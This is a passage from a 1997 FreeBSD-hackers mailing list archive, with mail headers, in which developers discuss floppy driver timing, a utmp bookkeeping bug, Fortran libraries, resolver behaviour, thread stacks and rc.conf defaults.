hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA27881 for ; Sun, 14 Sep 1997 13:14:38 -0700 (PDT) Received: from nospam.hiwaay.net (tnt2-147.HiWAAY.net [208.147.148.147]) by fly.HiWAAY.net (8.8.6/8.8.6) with ESMTP id PAA22075 for ; Sun, 14 Sep 1997 15:14:27 -0500 (CDT) Received: from nospam.hiwaay.net (localhost [127.0.0.1]) by nospam.hiwaay.net (8.8.7/8.8.4) with ESMTP id PAA01208 for ; Sun, 14 Sep 1997 15:14:24 -0500 (CDT) Message-Id: <199709142014.PAA01208@nospam.hiwaay.net> X-Mailer: exmh version 2.0zeta 7/24/97 To: freebsd-hackers@FreeBSD.ORG From: dkelly@hiwaay.net Subject: Re: Floppy Driver Problem Solved :^> In-reply-to: Message from j@uriah.heep.sax.de (J Wunsch) of "Sun, 14 Sep 1997 16:53:22 +0200." <19970914165322.NS35867@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 14 Sep 1997 15:14:23 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > As dkelly@hiwaay.net wrote: > > > Teac makes a SCSI floppy, AKA: Floptical. Does the normal foppy densities > > (not sure about 2.88M) plus 20M with the right disk. > > > > They appear on the surplus market sometimes for about $150. All SGI systems > > with an optional floppy drive use them. > > About the worst piece of junk i've ever seen. Together with SGI's > bright idea to mount them without a dust-protection flap, they hardly > ever made it longer than 14 days without cleaning, even for plain > floppies. Let alone the optical stuff. And, they were _dog_ slow. I agree they are slow. At least the way SGI implements them. As for the dust flap, all 5 of mine have them, and we've never had a service call on them either. Probably helps a lot that now all our buildings at work are non-smoking. And I admit, the floptical isn't a heavily used item. But back to the issue, they solved this problem for SGI, the one about FDC's and meeting their realtime requirements. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. From owner-freebsd-hackers Sun Sep 14 13:15:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA27984 for hackers-outgoing; Sun, 14 Sep 1997 13:15:47 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA27979 for ; Sun, 14 Sep 1997 13:15:45 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id NAA10400 for ; Sun, 14 Sep 1997 13:15:45 -0700 (PDT) To: hackers@freebsd.org Subject: Here's an interesting bug in our utmp handling. Date: Sun, 14 Sep 1997 13:15:45 -0700 Message-ID: <10396.874268145@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Reported today by one Eddie Wieder.. Log in somehow (real login, xterm -ls, whatever) and verify your user/[pt]ty combo by doing who(1) and tty(1) commands. Now use login(1) to log in as some other user and do the who/tty thing again. You'll have a new utmp entry for the user you just logged in as. Now log out and do another who(1). You'll have had your utmp entry smashed and still show up as the user you logged in and out again as. Not sure how to fix this one - it's "interesting." :) Jordan From owner-freebsd-hackers Sun Sep 14 13:48:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA29576 for hackers-outgoing; Sun, 14 Sep 1997 13:48:52 -0700 (PDT) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA29564 for ; Sun, 14 Sep 1997 13:48:46 -0700 (PDT) Received: from argus.tfs.net (pm3-p42.tfs.net [206.154.183.234]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id OAA00858; Sun, 14 Sep 1997 14:47:18 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.5/8.8.5) id PAA02118; Sun, 14 Sep 1997 15:48:37 -0500 (CDT) From: Jim Bryant Message-Id: <199709142048.PAA02118@argus.tfs.net> Subject: Re: lib/libF77 and lib/libI77 In-Reply-To: <199709142002.NAA10017@time.cdrom.com> from "Jordan K. Hubbard" at "Sep 14, 97 01:02:30 pm" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Sun, 14 Sep 1997 15:48:36 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > I'm wondering whether to update these in RELENG_2_2 but I'm a little > puzzled at the fact that: > > 1. They don't have Makefiles or, in libI77's case, have a > Makefile but don't build. > > 2. They're not referenced in the top level Makefile and hence are > not built or included in the release binaries by default. > > Are these even used? If not, can I removed them? If so, HOW are they > used? :-) > > Thanks. > > Jordan yes jordan, people still do use fortran... please keep them... jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28PW voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Sun Sep 14 13:49:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA29629 for hackers-outgoing; Sun, 14 Sep 1997 13:49:57 -0700 (PDT) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA29624 for ; Sun, 14 Sep 1997 13:49:53 -0700 (PDT) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id OAA02952 for ; Sun, 14 Sep 1997 14:49:51 -0600 (MDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id OAA20604; Sun, 14 Sep 1997 14:49:49 -0600 (MDT) Date: Sun, 14 Sep 1997 14:49:49 -0600 (MDT) Message-Id: <199709142049.OAA20604@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: hackers@freebsd.org Subject: Looking to buy a used Adaptec 1542B X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk My box got hit with one too many power-surges, and no longer reboots consistantly. I'm looking for the older board, since I'd like to replace the board in my home box (486/66-ISA machine). It's an old box but, its all I can justify to my wife. I do most of my development on my laptop nowadays, but I use the box with the 1542B as an NFS-server/X-terminal, since it's got a nice keyboard and monitor plus a big disk. If you've got one lying around that you have no use for, let me know! Thanks! Nate From owner-freebsd-hackers Sun Sep 14 14:44:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA02069 for hackers-outgoing; Sun, 14 Sep 1997 14:44:46 -0700 (PDT) Received: from usr09.primenet.com (tlambert@usr09.primenet.com [206.165.6.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA02064 for ; Sun, 14 Sep 1997 14:44:39 -0700 (PDT) Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id OAA22143; Sun, 14 Sep 1997 14:44:34 -0700 (MST) From: Terry Lambert Message-Id: <199709142144.OAA22143@usr09.primenet.com> Subject: Re: Do *you* have problems with floppies? To: joerg_wunsch@uriah.heep.sax.de Date: Sun, 14 Sep 1997 21:44:33 +0000 (GMT) Cc: hackers@FreeBSD.ORG In-Reply-To: <19970914142654.GG28248@uriah.heep.sax.de> from "J Wunsch" at Sep 14, 97 02:26:54 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Rewriting the track is intrinsically more reliable, because it > > preserves the inter-sector gaps with less hysterisis. The tradeoff > > is in read-before-write. > > There's no good option in the NE765 to write an entire track. You can > do a multi-sector write, but the FDC still disassembles this into > single write operations, with a read-before-write to find the > respective sector ID fields. The only operation that writes an entire > track without first reading the ID fields is FORMAT TRACK. The point is that the timeing between requests is under the control of the floppy controller, who can DMA what it wants out of the track buffer. I think that this is inherently more reliable than moving all over the track using user driven sector at a time. In a sector at a time that is user instead of controller driven, there are potentially large harmonics because of the code path. Without some serious test equipment (maybe I can borrow TEAC's? 8-)), I can only theorize about whether or not these harmonics will result in destructive and constructive interferences... but I find it highly probable that it will, unless the code happens to be exactly tuned to what the controller itself would do. This is only possible if you fully give over control of the CPU to the write process, like the BIOS does, at which point it's effectively locking the harmonics to the controller harmonics in a delayed PLL. Which means no destructive interference. > > The reason that this is more reliable is that rate at which write > > requests can be handled. Ideally, they will be chained in a single > > write command. > > But still, it's only a matter of whether the driver requests several > WRITE SECTOR commands, or whether the FDC splits the multisector > command into single WRITE SECTOR operations. Yes. With the exception that they are phase-locked by the controller, and we hope the controller is smart about these things. Or at least smarter than us (which isn't hard, because it doesn't have to deal with load issues). > As long as the inter- > sector gap is large enough for the interrupt code to setup the next > transfer (which is even on a 386/sx-16), you don't lose anything. Agreed. But this way you interrupt per track instead of per sector; there's much less change of being delayed by another ISR. This may in fact be the root cause of the problems, given that the problem seems to go up under SCSI load. Actually, I'm a bit fearful: what happens to a motherboard DMA, as in the floppy transfers, during an Interrupt? During a controller initiated bus master DMA? It may be that it's necessary to mask interrupts during the transfer. That would *really* suck. 8-(. > I agree that this loss could indeed be handled by a track buffer, that > does a read ahead of the sectors that are passing the head before the > desired sector arrives, and could hand out the data out of this buffer > if they are requested later on, which is likely. The problematic > thing with this is that there's no means in the NE765 to say ``READ > ANY SECTOR'', so you have to specify a ``READ ID'' first, losing this > sector's worth of data, in order to know which sector to read next. Actually... 0x42 READ TRACK does not check the sector number stored in the ID field. This could be a curse as well as a blessing; I don't know how it could deal with interleaved data. The 0xE6 READ NORMAL DATA can do multiple sector reads; unlike the READ TRACK, it does the index ID's. But again, it's phase locked under the control of the floppy controller, which may be all that's needed. > > > Why? The inter-sector gaps of floppies are large enough to give the > > > CPUs that are in use these days time to setup the next transfers. > > > Because of the need to synchronize, of course. Relative seeks are > > not very reliable (see "The Undocumented PC" for details). > > Why are they not very reliable? All the seeks are relative. Because of track drift in the head positioning mechanism. It's like a Calcomp plotter, that only has relative coordinates (only they "register" -- resynchornize -- a lot more frequently). > Van > Gilluwe's chapter about floppies made me quickly aware that he's not > very experienced in this field either, so take his statements with the > necessary grain of salt. How else could he still write nonsense about > ``head loading'', even though the last drives that did an on-demand > head loading were the good ol' 8-inch drives? (Still true in the > second edition, i verified this in a bookstore.) OK, he's certainly not the authority that one would want; but on that particular point, I agree with his argument. The head load/unload crap, and some of the commands he claims you'd never use are BS, but you can ignore that and still get some useful data out of him. 8-|. > If the application wasn't quick enough to deliver more data, the track > buffer wouldn't gain much either. You could only fall back to a > sector-by-a-time mode then, or artificially defer the actual write > operation (and bogusly report a ``good'' status to the caller), to > collect more data in the meantime. Exactly. You defer the writes. Essentially, you are doing nothing more major than write gathering. You flush the deferral on a time limit, or on a track change. Since you read before write, and you write only tracks, and you have two buffers, then if you write to a sector in a track which is no longer deferred, the track is still in "cache" in the buffer (which was "marked clean" after the deferral expiration. So there's no need to do another read-before-write. > Iff the application was quick enough to deliver more data, the track > buffer doesn't gain you anything as well. The application could still > issue a large write(2) syscall (e.g. 18 KB), which you split into > single-sector transfers. Or write with a multitrack option. I have to admit that I kludged my track-at-a-time test code. I didn't do any of the deferral work; instead, I simulated it un user space, reading and writing *only* 18k buffers, which the read/write code treated as a multitrack run of pre-write-gathered sectors. > Nothing's lost. You can do many > not-so-simple, nitty-gritty things inside a floppy driver, but you > should keep the old sentence in mind ``Never try to optimize something > before you've profiled it.'' Track buffers belong into this class of > non-optimizations. The only optimization i see is the above mentioned > use of a track buffer to do read-ahead of unwanted but available > sectors after a seek operation, in the hope that somebody is > interested in the gathered data later on in the game. It's not intended as an optimization, really -- it's intended as a workaround for timing issues which I believe are causing problems in the single sector at a time case. I'm not really interested in speed, so much as I'm interested in eliminating potential harmonic effects from the equation. Even if they aren't the problem, then at least we would *know* they weren't the problem instead of waving our hands. 8-(. > I have no doubts that it is possible to use a track buffer (Linux > does, and IMHO NetBSD does, at least they do multi-sector transfers). > Anyway, before i accept it as something useful, you have to prove > first that it's really improving something more than your ego. ;-) Well, like I said, the code is not a fait accompli; it's kludged test code. But it solves the harmonic issues which I think might be causing the problems. I don't claim to *know* that they are, so it's not an issue of ego: I'm willing to be proven wrong. 8-). Just to clear this up: I *never* take comments on code or ideas as attacks on me personally. If the code or idea is good, it will stand without me, and if it's not, it'll fall without me. > > > If msdosfs is too stupid to cache the FAT, that's nothing a device > > > driver should fix. There's the entire buffer cache in between. > > > > I disagree; there should be a two track cache intrinsic to the floppy > > driver. The "other" track will always contain the fat during any > > sequential access, because the sequential access requires a traversal > > of the FAT chain. > > What the heck should the driver deal with FATs, i-node regions, or > block pointers? It is a matter of filesystem implementations to take > care of caching their data. It's a matter of drivers to make these > data available, without any consideration about what data this might > be. If a track buffer helps improving some filesystem performance, > this only shows that the filesystem implementation has been poorly > designed. A two track buffer is topoligically equivalent to cache memory on a SCSI controller. Floppies are horrendously slow things. I was describing the *effect* two track buffers would have on a FAT -- the device driver *would* fix the issue. It's still up to the msdosfs to cache all of the FAT -- I think it should -- but that's independent of the fact that there would be a general win for msdosfs from track buffering. It doesn't matter that it's not the responsibility of the driver for it to have a positive effect. 8-). > > The MSDOSFS should cache the FAT before this is invoked, in any case, > > because of the concept of long fat chains, which may overrrun a track > > buffer (see the paper referenced in the previous posting). > > What is wrong with caching these metadata in the buffer cache? UFS > has way more (and way more scattered) metadata, and it has properly > shown that storing these data in the buffer cache improves > performance. Storing the entire FAT as data with a different locality than the user data stored in FAT FS files was shown to be a win in the CMU/Usenix paper I referenced. Might as well accept empirical data when it's offered. 8-). > > SVR3 actually had a working FT driver in the kernel, and it used a > > double buffer so that it could rewrite during resynchronization > > This merely sounds like the above idea of making some use of the > sectors that are currently passing by. In the case of optimizing this > for writes, you have the additional problem that you need to reorder > the device queue all the time. (There's no disksort() in FreeBSD.) > This is needed in order to be able to correctly report the success > status back to the caller for each sector. For raw device IO, this is > impossible, since only one transfer is queued by physio(9) by a time. The FT buffer would have to be a different size; this is unlikely to win as shared code. Actually, you might want to contact Vadim Antinov; he did the BSDI driver before they had financial problems with the USL lawsuit. I believe he works at Sprint now; I don't know how axnious he would be to get back into the bowels of FT drivers, though. > (Hmm, the driver could try to be smarter if this transfer is more than > one sector's worth of data.) Yes. This is my kludged test case. > For filesystem operation, it can indeed be a win. Yes. But you're right that it's not a good enough reason to do it. My reasoning was to take the timing issue out of the scheduler and interrupt processing in the OS, and give them over to the floppy controller in the hopes that it would resolve the problems people are seeing. That it would be a speed win for most normal usage is just a sidebar I felt was worth mentioning, not my rationale for doing the dirty deed. 8-). Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 14:49:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA02405 for hackers-outgoing; Sun, 14 Sep 1997 14:49:03 -0700 (PDT) Received: from usr09.primenet.com (tlambert@usr09.primenet.com [206.165.6.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA02399 for ; Sun, 14 Sep 1997 14:49:00 -0700 (PDT) Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id OAA22603; Sun, 14 Sep 1997 14:48:56 -0700 (MST) From: Terry Lambert Message-Id: <199709142148.OAA22603@usr09.primenet.com> Subject: Re: nfs startup - perhaps it is a problem To: joerg_wunsch@uriah.heep.sax.de Date: Sun, 14 Sep 1997 21:48:55 +0000 (GMT) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <19970914142725.EE13458@uriah.heep.sax.de> from "J Wunsch" at Sep 14, 97 02:27:25 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > Who told you this? rlogind does a plain gethostbyaddr(), ... > > > iijppp told me this when I tried to rlogin to myself (actually, rsh) > > to start an xterm under fvwm, and the rlogind did a getpeername(), > > then did a gethostbyaddr() that, for no good reason, sent out DNS > > packets, even though "hosts" appeared before "bin" in /etc/host.conf. > > > > So you could say that it's Empirically true, regardless of theory > > and regardless of what it's supposedly doing. > > This would mean the resolver were broken. Did you tcpdump it? I put the iijpp tcp/ip logging flag on, and watched the port 53 requests go across for an rlogin into myself. Given that it was a completely local connection that should have been handled over the loopback interface (I did use my host name, and not "localhost", however), it issuing reverse lookup requests for my machine instead of getting the data out of /etc/hosts is an error. This is compounded by the fact that I am using a non-routable network, so there's no way in hell a non-local resolver would be able to help me anyway. 8-(. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 15:01:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA03213 for hackers-outgoing; Sun, 14 Sep 1997 15:01:40 -0700 (PDT) Received: from usr09.primenet.com (tlambert@usr09.primenet.com [206.165.6.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA03208; Sun, 14 Sep 1997 15:01:35 -0700 (PDT) Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id PAA23603; Sun, 14 Sep 1997 15:01:31 -0700 (MST) From: Terry Lambert Message-Id: <199709142201.PAA23603@usr09.primenet.com> Subject: Re: What is wrong with this snipet? To: thorpej@nas.nasa.gov Date: Sun, 14 Sep 1997 22:01:30 +0000 (GMT) Cc: dyson@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199709141716.KAA05915@lestat.nas.nasa.gov> from "Jason Thorpe" at Sep 14, 97 10:16:45 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > My work on an rfork(2) for NetBSD originally was to support user threads. > However, a few thing made me change my mind on that (one of them is > signal delivery semantics, another is lack of sane way to give the new > thread its own stack). Because of these (and other annoyances), it was > decided that rfork(2) wasn't the right way to do this, and I punted on the > idea of exporting an rfork(2) system call, especially since RFMEM as Plan 9 > works isn't particularly useful for threads, and it seems lame to implement > RFMEM differently from Plan 9 and still call it RFMEM :-) Heh. POSIX threading mandates the user supply the stack. This is a good idea because... er, uh, er... OK, it sucks! ;-). You can get user stacks by taking a page (no pun intended) from the paper on statistical memory protection. What you do is mmap pages from /dev/zero int an unused area way high in memory, with a large enough gap between the areas to accomondate stack growth. You start with only one page mapped. Then you trap the signal generated by references to stack pages following your mapped stack pages -- effectively, there are guard pages following yuor stacks -- and map more pages in, in the signal handler, as they are referenced. Voila! Auto-growing threads stacks in a single address space. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 15:05:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA03782 for hackers-outgoing; Sun, 14 Sep 1997 15:05:44 -0700 (PDT) Received: from usr09.primenet.com (tlambert@usr09.primenet.com [206.165.6.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA03723; Sun, 14 Sep 1997 15:05:32 -0700 (PDT) Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id PAA24060; Sun, 14 Sep 1997 15:05:21 -0700 (MST) From: Terry Lambert Message-Id: <199709142205.PAA24060@usr09.primenet.com> Subject: Re: Patches on senderp-ppp.i-connect.net To: nate@mt.sri.com (Nate Williams) Date: Sun, 14 Sep 1997 22:05:20 +0000 (GMT) Cc: rgrimes@gndrsh.aac.dev.com, Shimon@i-connect.net, freebsd-hackers@FreeBSD.ORG, freebsd-scsi@FreeBSD.ORG In-Reply-To: <199709141821.MAA19937@rocky.mt.sri.com> from "Nate Williams" at Sep 14, 97 12:21:33 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > a) It is not ``proprietary'' unless you take legal and proper actions > > to keep it as such. In most cases you have done just the opposite, > > you've given pointers to it in a public forum. > > Correct. Or it might be seen as "due dilligence"... > > b) The action of making it avaliable to anyone other than yourself > > is `publication'', thierfor the code is not ``unpublished''. > > Then AT&T/USL/Novell/SCO code isn't publication either, since they > contain the same wording. I'd tend to be believe that the above isn't > true. You're right. Unpublished code can remain unpublished, however widely distributed, so long as it is only distributed to a "select group". Without controls on who can FTP the code, there is no group selection enforced. This would fail to meet the criteria for distribution of unpublished sources, I'm afraid. Which means that due dilligence isn't met either. > > > c) Your ftp server welcome message desen't even head any warnings > > what so ever. > > I don't think it matters, since many ftp servers that distribute > copyrighted software don't have welcome messages. Welcome messages > aren't even standard on stock ftp server. > > But, the first clause alone is enough to make things 'interesting. Yup. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 15:08:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA04186 for hackers-outgoing; Sun, 14 Sep 1997 15:08:17 -0700 (PDT) Received: from usr09.primenet.com (tlambert@usr09.primenet.com [206.165.6.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA04167 for ; Sun, 14 Sep 1997 15:08:13 -0700 (PDT) Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id PAA24466; Sun, 14 Sep 1997 15:08:09 -0700 (MST) From: Terry Lambert Message-Id: <199709142208.PAA24466@usr09.primenet.com> Subject: Re: nfs startup - perhaps it is a problem To: sef@Kithrup.COM (Sean Eric Fagan) Date: Sun, 14 Sep 1997 22:08:08 +0000 (GMT) Cc: hackers@FreeBSD.ORG In-Reply-To: <199709141843.LAA02362@kithrup.com> from "Sean Eric Fagan" at Sep 14, 97 11:43:10 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > In article <19970914142725.EE13458.kithrup.freebsd.hackers@uriah.heep.sax.de> J"org writes: > >This would mean the resolver were broken. Did you tcpdump it? > > That's what I asked. > > Several times. The packets were dumped. Is the tool used to do this really that important? The fact is there were packets sent that should never have been sent given the system configuration requiring the use of the hosts file before bind, and the fact the data was availble in the hosts file. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 15:15:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA05080 for hackers-outgoing; Sun, 14 Sep 1997 15:15:10 -0700 (PDT) Received: from Octopussy.MI.Uni-Koeln.DE (Octopussy.MI.Uni-Koeln.DE [134.95.166.20]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id PAA05041 for ; Sun, 14 Sep 1997 15:15:00 -0700 (PDT) Received: from x14.mi.uni-koeln.de ([134.95.219.124]) by Octopussy.MI.Uni-Koeln.DE with SMTP id AA00373 (5.67b/IDA-1.5 for ); Mon, 15 Sep 1997 00:14:57 +0200 Received: (from se@localhost) by x14.mi.uni-koeln.de (8.8.7/8.6.9) id XAA01116; Sun, 14 Sep 1997 23:38:28 +0200 (CEST) X-Face: " Date: Sun, 14 Sep 1997 23:38:27 +0200 From: Stefan Esser To: Josh Tiefenbach Cc: hackers@FreeBSD.ORG Subject: Re: Problems with NCR810/Micropolis disk. References: <19970913204749.41765@doun.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.74 In-Reply-To: <19970913204749.41765@doun.org>; from Josh Tiefenbach on Sat, Sep 13, 1997 at 08:47:49PM +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sep 13, Josh Tiefenbach wrote: > scbus0 target 0 lun 0: type 0 fixed SCSI 2 > sd0 at scbus0 target 0 lun 0 > sd0: Direct-Access > sd0: 10.0 MB/s (100 ns, offset 8) > > sd0: M_DISCONNECT received, but datapointer not saved: > data=799b4 save=7a6b0 goal=7a6d4. > 4100MB (8398600 512 byte sectors) > sd0: with 6512 cyls, 7 heads, and an average 184 sectors/track > > While the drive works, it is *extremely* pokey. A dd from rsd0a to /dev/null > with no load at all clocked in at about 250k/s. Under Win95, the drive seems > to perfom quite well, and the benchmarks I've run there (mostly norton stuff) > seems to indicate that the drive motors along at a fast clip (compared to the > reference drives). Hmmm, thinking about the occurance of the M_DISCONNECT within the drive attach: Seems that the drive did not like the INQUIRY command trying to read 36 bytes of data ... But since only the first few bytes are required by the driver, and those have been read correctly, the message does not indicate a real problem. > In searching the archives, the I found a post to -scsi circa 12/96 with the > exact same dmesg output (M_DISCONNEXT) involving an ncr810 and a 9GB > Micropolis drive, but no solution/explanation was offered. Really ? I don't remember having seen such a message ... Will have to check the archives myself ... > Could this concievably be a hardware problem (ie, should I return the drive), > or is there something patently obvious that I'm missing? Well, I don't know how you measured those 250KB/s numbers. Could you please run bonnie (from ports) or send results of "dd" with block sizes of 512 byte, 4KB and 16KB ? Regards, STefan From owner-freebsd-hackers Sun Sep 14 15:17:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA05313 for hackers-outgoing; Sun, 14 Sep 1997 15:17:26 -0700 (PDT) Received: from usr09.primenet.com (tlambert@usr09.primenet.com [206.165.6.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA05301 for ; Sun, 14 Sep 1997 15:17:22 -0700 (PDT) Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id PAA25420; Sun, 14 Sep 1997 15:17:17 -0700 (MST) From: Terry Lambert Message-Id: <199709142217.PAA25420@usr09.primenet.com> Subject: Re: Here's an interesting bug in our utmp handling. To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Sun, 14 Sep 1997 22:17:16 +0000 (GMT) Cc: hackers@FreeBSD.ORG In-Reply-To: <10396.874268145@time.cdrom.com> from "Jordan K. Hubbard" at Sep 14, 97 01:15:45 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Log in somehow (real login, xterm -ls, whatever) and verify your > user/[pt]ty combo by doing who(1) and tty(1) commands. Now use > login(1) to log in as some other user and do the who/tty thing again. > You'll have a new utmp entry for the user you just logged in as. Now > log out and do another who(1). You'll have had your utmp entry > smashed and still show up as the user you logged in and out again as. > > Not sure how to fix this one - it's "interesting." :) Read the login man page. Login is supposed to be exec'ed by the shells: The standard shells, csh(1) and sh(1), do not fork before executing the login utility. So it is supposed to be impossible to do the "Now log out and do another who(1)." part of repeating the "problem". If you want to become another user and return to yourself afterwards, use the "su" command. Since it keeps running, it can change things like the utmp entry, and put it back afterwards (though it doesn't fiddle utmp, even when you specify "-l"; that's probably a bug, too). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 15:42:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA07546 for hackers-outgoing; Sun, 14 Sep 1997 15:42:24 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA07535 for ; Sun, 14 Sep 1997 15:42:19 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id IAA20771; Mon, 15 Sep 1997 08:42:08 +1000 (EST) Date: Mon, 15 Sep 1997 08:42:07 +1000 (EST) From: "Daniel O'Callaghan" To: Brian Somers cc: Greg Lehey , Brian Somers , freebsd-hackers@FreeBSD.ORG Subject: Re: rc & rc.conf In-Reply-To: <199709141135.MAA15300@awfulhak.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > This is a disaster waiting to happen: > > > > > > /etc/rc.conf: > > > [.....] > > > inetd_enable="YES" # Run the network daemon displatcher (or NO). > > > [.....] > > > cron_enable="YES" # Run the periodic job daemon. > > > [.....] Maybe "inetd_enable" should become "inetd_disable" and only "NO" will disable inetd. Danny From owner-freebsd-hackers Sun Sep 14 16:06:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA08960 for hackers-outgoing; Sun, 14 Sep 1997 16:06:05 -0700 (PDT) Received: from goose.doun.org (doun.org [142.154.6.65]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA08869; Sun, 14 Sep 1997 16:04:42 -0700 (PDT) Received: (from josh@localhost) by goose.doun.org (8.8.7/8.8.7) id TAA23901; Sun, 14 Sep 1997 19:04:37 GMT Message-ID: <19970914190437.02165@doun.org> Date: Sun, 14 